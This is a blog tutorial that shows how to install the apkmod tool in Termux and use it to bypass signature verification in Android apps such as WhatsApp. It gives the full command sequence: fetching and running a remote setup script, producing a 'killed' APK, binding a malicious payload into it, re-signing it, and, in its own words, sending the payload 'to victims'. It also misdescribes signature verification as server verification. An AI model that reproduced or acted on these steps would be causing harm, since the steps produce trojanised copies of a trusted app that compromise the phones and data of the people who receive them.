Bypass Signature Verification Of Android Apps | Fix signature errors |
Bypass Signature Verification Of Android Apps :
Hello guys, how are you? Hope you will be good. So today we are going to learn how to bypass signature verification of Android apps like whatsapp & other big application have. We are discussing a very awesome idea in this blog. This is very helpful for you friends. Signature verification means server verification of application. We will bypass signature using apkmod by hax4us. So without wasting our time let's see some things down.
What is Signature Verification of Android Applications?
Signature verification means signing apps using a private key in the form of a certificate by the Android developers. It has an key that contains owner information.
Why we need bypass signature verification:
If you binding a payload or changing some features then you have to bypass signature verification because when we modify any app it sign from an others keystore which means changing in signature. This is reason why our app doesn't works properly or crashes. Its most important that whenever we modify any application like whatsapp etc we have to bypass the signature verifications. Hope you will be understand better.
Let's start :
Requirements :-
- Termux
- 64bit Architecture
- Apkmod by hax4us
- Original latest whatsapp or any app.
Steps to do :-
- How to find architecture.
- Installing termux.
- Updating & installing apkmod.
- How to Bypass signature verification.
How to find architecture :-
Find your architecture by the below commands.
uname -m
If you have "aarch" Then you can continue or if you have "arm" Then sorry this is not for you. Because apkmod works on 64bit structural phones.
Installing Termux :
First of all, you have to download Termux app & it work's also good in old version of Termux. If you don't have Termux then download by clicking here & you can download termux by Play-Store.
Installing apkmod by hax4us :-
Now first of all we will updating the termux packages into new version by the following commands. Also some tools which is important to install ( 3rd Command ).
apt update && apt upgrade
pkg update && pkg upgrade
apt install wget git -y
Now we are downloading Apkmod into our termux.
cd $HOME && wget https://raw.githubusercontent.com/Hax4us/Apkmod/master/setup.sh
bash setup.sh
Now after installing apkmod then see how to use it.
How to use Apkmod to bypass signature verification of an Android application :
Assuming we have latest version of termux & bypassing it's signature by the following commands.
apkmod --signature-bypass --killer=k2 -i /path/to/whatsapp.apk -o killed_whatsapp.apk
Remember :- Application must be untouched!!
Now modify the killed_whatsapp.apk or bind the payload in it.
Optional :- Now you can sign it after getting killed application of WhatsApp. By the following commands.
apkmod -s -i killed_whatsapp.apk -o signed_whatsapp.apk
After the successfully sign use or send the payload of WhatsApp to victims 😜.
Thanks for reading!! ❤❤
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